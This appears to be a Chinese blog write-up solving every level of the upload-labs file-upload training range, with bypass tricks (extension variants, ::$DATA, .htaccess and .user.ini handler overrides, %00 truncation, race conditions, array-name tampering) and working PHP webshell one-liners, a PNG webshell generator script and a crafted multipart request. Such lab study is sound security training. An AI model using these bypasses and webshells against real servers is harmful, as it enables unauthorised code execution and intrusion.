upload-labs-master 文件上传过程总结

文件上传训练:

在做完了sqli-labs 之后,咋们来看看这个上传文件的题。

第一关:

他的界面直接提示着,请选择上传的图片,肯定就会有过滤的,咋们先上传一个.php文件试试水。果然,报错了,说是上传jpg,gif,png 格式的文件,好办,去bp上修改一下,查看源码,这儿是前端验证。如果是前端验证,咋们就把php文件的后缀改为他支持的格式,然后在bp 上再改回来就欧克了。

上传成功,然后用菜刀连接,直接连接成功。

第二关:

在这一关咋们看了一下源码,发现这一关是检查文件扩展名Content-type, , 照片的文件扩展名是 image/jpeg/gif/png。php 的文件扩展名是application/octet-stream,所以这边就有两种上传方法,第一种是上传图片马,然后在bp上修改文件后缀名,就和上一关一样了,还有一中是直接上传php文件,在bp修改文件扩展名为照片的文件扩展名。用菜刀可以连接。

第三关:

这一关看了源代码,发现过滤挺多的,首先是过滤文件名的空格,然后删除文件名的最后的点,删除空格和删除点这个是为了防止iis7.5的解析漏洞,就是在文件名后面加上点或者空格会被windows解析成正常的,不是iis本身的漏洞。 然后匹配到点的后面的字符串,也就是保留文件名。 然后再将文件名转换成小写,这就是防止大小写过滤,再去去除字符串 ::$DATA ,,,这个也是为了防止解析漏洞,因为::$DATA会将后面的内容转换为文字流,这个只能在widows上有,最后再去除一下空格。然后判断这个文件名是不是在黑名单中,如果在,上传不成功,如果不在,将文件重新命名为时间戳文件后上传。

这边我尝试我几种绕过姿势,发现都是可以,接下来我们一一讲解:

  1. 咋们可以发现把::$DATA过滤了,但是只是过滤了一遍,所以我们可以双写来建立这个字符 修改文件名为 test.php:😒::$DATADATA,过滤之后发现可以直接上传
  2. 这边的黑名单是php,asp,aspx,jsp ,所以我们可以写php3,5,7,8 phtml ,pht 这些文件,可以绕过
  3. 还可以在php 后面加上冒号,后面跟什么都行 test.php:jpg 因为window会忽略冒号后面的字符,可以直接上传成功。

第四关:

这一关和上一关有点类似,只是将黑名单扩展了一些,所以在这关里第二种方法就不能用,但是我们看黑名单,发现里面没有过滤.htaccess 这个文件,这个文件可以配置文件解析,

<FilesMatch "info.png"> setHandler application/x-httpd-php </FilesMatch> # 这个是在有这个.htaccess的文件夹中的所有文件含有 info.png 这个字符的文件当成php文件执行

AddType application/x-httpd-php .jpg # 这个的意思是把所有的.jpg文件当作php来执行

所以我们要先上传.htaccess文件,再上传其他文件。

第五关:

还有一种方法是上传 .user.ini 的文件,这个文件的利用比.htaccess更广泛一些,因为这个文件在nginx , apache, iis中都可以用。在文件中写 auto_pretend_file=test.jpg 意思是将test.jpg 这个文件调用到php 文件中,相当于require函数一样。限制条件是必须要是 只要是以fastcgi运行的php都可以用这个方法。

第六关:

这一关查看源代码就发现那个转换为小写的函数没有了,那不就是随便弄嘛,将php 随意大小写 Php ,等等就可以了。

第七关:

这一关查看源代码,发现转换为小写的函数又回来了,但是删除空格的代码又不见了,简单,直接在php和后面加上空格就欧克了。

第八关:

不出所料,又是少了一个函数,是去除末尾的点的函数,所以我们直接在php 后面加上一个点。,轻松绕过。

第九关:

那个删除::$DATA的函数没有了,在php后面加上就行了。

第十关:

这一关过滤的就很全面了,但是嘞,我们可以看到,他对所有的空格啊,点的过滤都是单次过滤,就是过滤一次就可以了,所以我们可以双写绕过,.php. . .php. . .php:😒::$DATADATA 等都是可以的。

第十一关:

这一关换了一个函数 ,str_ireplace()这个函数有三个参数。str_ireplace(word,rep_word,string)意思是把string 中word替换为req_word,就是在过滤后缀名,但是我们可以看到,这只是一次过滤,所以我们可以双写后缀名绕过,例如 .pphphp 这样,把其中一个php去掉之后又组成新的。

第十二关:

这一关我们查看源码的话,发现有几个函数,strrpos(string ,p art)函数,这个函数的作用是在string中找到最后一个part 的位置,substr ()函数就是截取字符串。而且是白名单绕过,所以之前使用的方法这一关不太适用。

所以我们这一关使用截断来绕过上传,因为这个获得的文件路径是在get处,所以我们可以在get处加上截断符号,%00 ,save_path=./upload/1.php%00,然后上传一个图片马就可以了,他最后文件上传的路径是 ./upload/1.php test.jpg,在php 后面的会被%00截断,不会被执行。

第十三关:

这一关和上一关的代码大致相同,唯一不同的地方就是获得的路径是post提交过来的,所以我们需要在post 处修改,但是要注意的是,在post 处加%00 需要进行url 编码,才可以执行。依旧是上传图片马,然后修改post。

第十四关:

这一关我们看到界面,给了我们三个提示,第一点,图片马中包含有完整的webshell 。这个简单,我们在文件夹中放两个文件,一个是jpg / png / gif 的文件,另一个是php的文件,里面写上了phpinfo()。然后在这个目录下面打开cmd ,敲入代码 copy /b 1.jpg+1.php test.php,得出一个test.php文件,然后上传之后发现文件的格式变了,可以得出是在检测文件头,所以我们的图片马完全可以。然后我们看文件上传漏洞,发现可以使用file提交get参数,然后把参数加入导入到文件中,这里就是文件包含漏洞,file=./upload/xxxxxxxxx.jpg。会将jpg文件利用php加载。所以我们可以利用图片马运行webshell。

第十五关:

这一关和上一关是一样的,于是我就有点怀疑怎么会这样,返回上一关,发现提示是检查内容的开头2个字符,而这一关是是使用getimagesize()函数判断,这个函数是检查图片信息的,但是我们制作的图片马依旧可以绕过。

第十六关:

这一关的是和之前的一样,只是检测图片的函数不一样,这一关是exif_imagetype(),这个函数是检测图像的第一个字节并检查其签名。但是我们的图片马十分抗打,依旧是完美绕过,可以用菜刀连接。

第十七关:

这一关有一个十分厉害的函数 imagecreatefromipeg or imagecreatefrompng or imagecreatefromgif,这三个函数的作用是将传入的jpeg png gif 重新渲染了一遍,然后再上传,如果是单纯的使用cmd 中的copy 来制作图片马的话,人家直接二次渲染,把你的shell直接给渲染不见了,于是我就网上找了一下解决办法,有一个大神,讲解的十分详细,链接在这https://www.cnblogs.com/forforever/p/13191999.html。这里我们需要用到一个工具,叫做hxd(好兄弟?),可以对图片的二进制值进行修改的一个工具,第一次接触到,然后我们需要一个gif的文件,这里我们可以试一下,直接用cmd的copy ,shell是phpinfo();发现webshell根本没有上传成功,然后使用hxd看看对比一下上传前后的文件,发现有一部分在渲染之后是没有改变的。那我们就可以在没变的这部分中加入shell,然后再上传,发现图片马已经上传成功。

但是问题来了,如果我们不上传gif ,想上传png ,jpg的图片格式呢,如果你像gif一样去试的话,发现是不行的,上传会报错,这是因为png ,jpg都会验证格式的,对于文件中的数据会计算。这里就不赘述了,详细情况可以看上面的链接。

第十八关:

这一关的提示是审计代码,奈何本人的水平实在是不行,看不出来,于是上网找writeup,原来是条件竞争漏洞,代码中会先将上传的文件上传到服务器,然后再对这个文件进行一系列的验证,但是在windows中(linux不知道哈),你打开了这个文件,如果你去操作它,比如说删除它或者移动它的话就会报错,我们这一关正是利用这一特性,我们不断上传这个文件,他就会不断创建这个临时文件,然后再不断去验证它,然后我们再通过的别的东西去访问它这个临时文件,那么在某一时刻,临时文件还没来得及验证,或者是还没来得及被删除就被访问到了,那就欧克了,这个文件就相当与上传成功了。

理论成立,实践开始,首先我们在burpsuite中不断发包,也就是不断上传文件。然后在python 中不断去访问它,那么上传的这个文件中要写啥呢? 最开始我就写了一个一句话木马,<?php eval($_REQUEST['xxx']);?> python的脚本是这样的

import requests

url = 'http://localhost:81/upload-labs-master/upload/shell1.php'
for i in range(5000):
	code = requests.get(url).status_code
    if code == 200:
        print('文件上传成功!')
        break

很简单的一个脚本,但是当我同时运行bp和python时,在那个文件夹里可以看到shell1.php文件出来了,有不见了,而且当python文件执行成功时,文件夹中的文件还是一闪一闪的,考虑的一下,可能是文件重名就被后面的覆盖了,这里我就想了两个办法,确切的来说是一个,另一个是借鉴网上的,借鉴哈,不算抄袭,读书人的事,怎么能算是抄袭呢?咳咳。

第一个办法,就是让python对这个文件保持访问的状态,这样就不会被覆盖,第二个是修改shell1.php中的代码,改为<?php fputs(fopen('shell2.php', 'w'), '<?php @eval($_REQUEST["XXX"]);?>');?>也就是说当这个文件访问成功时,会创建另一个文件,这个文件就是我们的shell。妙哇!果断使用第二个。

第十九关:

这一关还是要审计代码,但是我实在时功力不够,看不懂,于是去网上搜索了一下, 它的检验流程是先判断文件的后缀名,然后再临时上传文件,检验文件,最后再真的上传文件,方法就和上一关一样了,条件竞争漏洞,然而,在使用条件竞争的时候我却失败了,因为它是先检查文件名的。所以我就直接制作了图片马,但是这里不知道为什么,即使上传正确的,没加马的gif文件,上传之后也是不能访问,文件直接被渲染出错了,所以只好使用png文件,但是png文件的检验比较严格,具体参照第十七关,使用大神的脚本生成一个图片马

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./1.png');
?>

他这个图片马有点不太懂,最后生成的马是<?=$_GET[0]($_POST[1]);?>,查了一下,原来是要在访问网页的时候给网页后面一个参数,例如 http://localhost/upload/index.php?0=assert 或者 0=eval ,牛逼,但是当我尝试的时候,这个马却报错了,可能是在get的时候有两个参数的原因。因为我最开始不太理解这个马,所以我直接将马改了一下,变成了常用的马 ,万幸的是也上传成功了。

第二十关:

这一关是上传的时候名字可以自己命名,当然包括后缀名,但是对后缀名做了检测,限制了很多,所以这里我们可以使用之前学到的截断来绕过,在定义文件名的时候,.php后面加上一个点,或者使用::$DATA,还可以使用/.来pass,还可以使用php的大小写来绕过,%00截断绕过,记得%00要编码哦。

第二十一关:

这一关是一道ctf的题,代码不懂的地方我都查资料弄懂了,我也知道漏洞在哪里,但是就是不知道如何利用这个漏洞,只好查看writeup。

这个代码是这样的,首先怕判断你的MIME值,必须是jpeg,png,gif 这三种,这个好办,我们直接bp抓包就可以,然后判断你的post那里有没有值,也就是说要不要修改名字,如果要修改,而且修改的文件名不是数组的话,就按照修改的来,如果没有数据,就按照原来的文件名来,将得到的文件名用点分隔成数组,然后判断这个数组的最后一个值在不在白名单中,不在的话报错,在的话继续,定位到这个数组的第一个值,也就是文件名字,再加上数组中数组的个数减一的数,相当于最后一个值,也就是后缀名,然后上传。

有点绕哈,但是漏洞就在这个话中,修改的文件名不是数组的话,重点,如果我们把要修改的文件名变成数组,而且跳过数组的个数减一这个值,那么我们就可以绕过,使用bp修改数据包


-----------------------------335042777710070242533827549795
Content-Disposition: form-data; name="upload_file"; filename="2.png"
Content-Type: image/png

<?php $_GET[0]($_POST[1]);?>
-----------------------------335042777710070242533827549795
Content-Disposition: form-data; name="save_name[0]"

upload-20.php
-----------------------------335042777710070242533827549795
Content-Disposition: form-data; name="save_name[2]"

jpg
-----------------------------335042777710070242533827549795
Content-Disposition: form-data; name="submit"

上传
-----------------------------335042777710070242533827549795--

按照代码流程走一遍,首先MIME的值肯定是没有问题的,在判断修改的文件名这儿发的时候,发现我们提交的是一个数组,也就是说$file = Array([0]=>upload-20.php [2]=>jpg)是这样的,大家注意哦,这个数组中是没有1对应的值的,然后判断这个数组的最后一个值是不是在白名单中,因为最后一个值是jpg,所以这儿是没有问题的,下一步,重新组合文件名,将数组中的第一个当作文件名字,数组中个数减一个当作后缀名,第一个就是upload-20.php,而数组中有两个数据,减一的话就变成取数组中1的值,那就是空,所以最后文件名就是upload-20.php, 欧克,完美绕过。

upload-labs靶场的题已经全部完成,也是学到了很多东西,加油,再接再厉!

posted @   Limbus  阅读(565)  评论(2编辑  收藏  举报
相关博文:
阅读排行:
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 单线程的Redis速度为什么快?
· SQL Server 2025 AI相关能力初探
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 展开说说关于C#中ORM框架的用法!
点击右上角即可分享
微信分享提示